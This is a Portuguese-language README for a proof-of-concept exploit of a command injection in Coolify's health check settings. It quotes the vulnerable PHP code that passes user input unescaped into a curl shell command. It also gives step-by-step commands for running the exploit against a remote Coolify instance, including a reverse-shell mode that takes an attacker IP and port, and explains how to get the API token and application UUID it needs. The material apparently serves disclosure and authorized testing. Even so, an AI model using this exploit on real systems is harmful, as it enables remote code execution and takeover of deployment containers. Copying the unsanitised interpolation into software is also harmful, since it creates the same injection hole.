🎯 Sobre a Vulnerabilidade

Coolify é uma plataforma de deploy open-source e auto-hospedada bastante popular (30K+ estrelas no GitHub) — uma alternativa gratuita ao Heroku, Vercel e Netlify.

Uma vulnerabilidade crítica de Injeção de Comandos foi descoberta na configuração de health check do Coolify. Os parâmetros health_check_host, health_check_method e health_check_path são interpolados diretamente em comandos shell sem qualquer sanitização, permitindo que qualquer usuário autenticado execute comandos arbitrários dentro dos contêineres de deploy.

┌──────────────────┬──────────────────────────────────────┐
│ CVE ID           │ CVE-2026-59734                       │
│ Tipo             │ Injeção de Comandos (CWE-78)         │
│ Severidade       │ ALTA — CVSS 8.8                      │
│ Vetor de Ataque  │ Rede (Autenticado)                   │
│ Afetado          │ Coolify <= v4.0.0-beta.460           │
│ Corrigido Em     │ Coolify >= v4.0.0-beta.469           │
│ Commit da Correção│ 23f9156c7                           │
│ Relatado Por     │ CyberTechAjju                        │
└──────────────────┴──────────────────────────────────────┘

// app/Jobs/ApplicationDeploymentJob.php — generate_healthcheck_commands()

// ⚠️ Entrada do usuário diretamente no comando shell — SEM escapeshellarg()!
$generated_healthchecks_commands = [
    "curl -s -X {$this->application->health_check_method} -f " .
    "{$this->application->health_check_scheme}://" .
    "{$this->application->health_check_host}:" .
    "{$health_check_port}" .
    "{$this->application->health_check_path} > /dev/null || exit 1",
];

🛠️ O Que Esta Ferramenta Faz

Este script de PoC valida e explora a CVE-2026-59734 com dois modos:

Funcionalidades

• 🧪 4 Testes Locais — Valida injeção via host, method, path + confirma que a correção com escapeshellarg() funciona
• 🔑 Validação de Auth — Verifica token de API e permissões antes de tentar o exploit
• 📋 Detecção de Versão — Detecta a versão do Coolify e avisa se já estiver corrigido
• 🎯 Tokens de Prova — Usa tokens únicos para evitar falsos positivos
• 🐚 Modo Reverse Shell — Payload de reverse shell integrado com --lhost / --lport
• 🧹 Modo de Limpeza — Restaura a configuração original de health check após a exploração
• 🛡️ Verificação de Injeção — Confirma que o servidor armazenou o payload sem sanitização

⚡ Início Rápido

Validação Local (Segura e Offline)

git clone https://github.com/cybertechajju/CVE-2026-59734.git
cd CVE-2026-59734
chmod +x coolify_healthcheck_rce_poc.sh

# Execute a validação local segura
./coolify_healthcheck_rce_poc.sh --local

Saída Esperada:

═══ VALIDAÇÃO LOCAL DO PADRÃO DE VULNERABILIDADE ═══

┌─ Teste 1: Injeção em health_check_host
│  ✅ VULNERÁVEL — Comando injetado executado com sucesso

┌─ Teste 2: Injeção em health_check_method
│  ✅ VULNERÁVEL — Parâmetro method também é injetável

┌─ Teste 3: Injeção em health_check_path
│  ✅ VULNERÁVEL — Parâmetro path também é injetável

┌─ Teste 4: Verificar se escapeshellarg() corrige o problema
│  ✅ SEGURO — Entrada sanitizada previne injeção

Exploração Remota (Apenas Testes Autorizados)

# PoC básico — escreve arquivo de prova dentro do contêiner
./coolify_healthcheck_rce_poc.sh --remote \
  --url https://sua-instancia-coolify:3000 \
  --token SEU_TOKEN_API \
  --uuid UUID_DO_SEU_APP

# Reverse shell
./coolify_healthcheck_rce_poc.sh --remote \
  --url https://sua-instancia-coolify:3000 \
  --token SEU_TOKEN_API \
  --uuid UUID_DO_SEU_APP \
  --lhost SEU_IP \
  --lport 4444

# Com limpeza automática (restaura configuração original após o exploit)
./coolify_healthcheck_rce_poc.sh --remote \
  --url https://sua-instancia-coolify:3000 \
  --token SEU_TOKEN_API \
  --uuid UUID_DO_SEU_APP \
  --cleanup

📋 Todas as Opções

Uso:

  Validação Local (segura, offline):
    ./coolify_healthcheck_rce_poc.sh --local

  Exploração Remota (requer autenticação):
    ./coolify_healthcheck_rce_poc.sh --remote --url <URL> --token <TOKEN> --uuid <UUID> [OPÇÕES]

Opções:
  --url       URL da instância Coolify (ex.: https://coolify.example.com)
  --token     Token de autenticação Bearer da API
  --uuid      UUID da aplicação alvo
  --payload   Payload de injeção personalizado
  --lhost     IP do atacante para reverse shell
  --lport     Porta do atacante para reverse shell (padrão: 4444)
  --cleanup   Restaura configuração original após o exploit

🔍 Como Obter o Token da API e o UUID do App

Token da API:

1. Faça login no painel do Coolify
2. Vá em Configurações → Tokens de API
3. Gere um novo token

UUID do App:

curl -s https://SEU-COOLIFY/api/v1/applications \
  -H "Authorization: Bearer SEU_TOKEN" | jq '.[].uuid'

📖 Artigo Completo

Escrevi um post detalhado no blog explicando toda a descoberta, exploração e lições aprendidas:

🔗 Como Encontrei uma Injeção de Comandos (RCE) no Coolify — Medium

🎥 Vídeo Walkthrough

Assista à demonstração completa de exploração no YouTube:

🔗 CVE-2026-59734 — Demonstração RCE no Coolify — YouTube

✅ Linha do Tempo

⚠️ Aviso Legal